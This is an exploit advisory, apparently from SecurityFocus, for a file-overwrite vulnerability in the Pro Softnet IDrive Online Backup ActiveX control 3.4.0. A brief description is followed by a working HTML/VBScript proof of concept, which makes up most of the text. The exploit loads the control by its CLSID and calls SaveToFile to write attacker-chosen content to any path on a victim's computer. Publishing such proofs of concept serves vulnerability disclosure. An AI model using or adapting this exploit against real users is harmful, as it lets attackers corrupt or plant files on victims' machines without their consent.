source: https://www.securityfocus.com/bid/48582/info
Pro Softnet IDrive Online Backup ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content.
An attacker can exploit this issue to corrupt and overwrite arbitrary files on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).
IDrive Online Backup ActiveX control 3.4.0 is vulnerable; other versions may also be affected.
<html>
<object classid='clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\File_name_to_rewrite_or_create"
arg2=1
arg3="New_File_Content"
target.Text=arg3
target.SelStart=0
target.SelEnd=Len(arg3)
target.SaveToFIle arg1,arg2
End Sub
</script>
</html>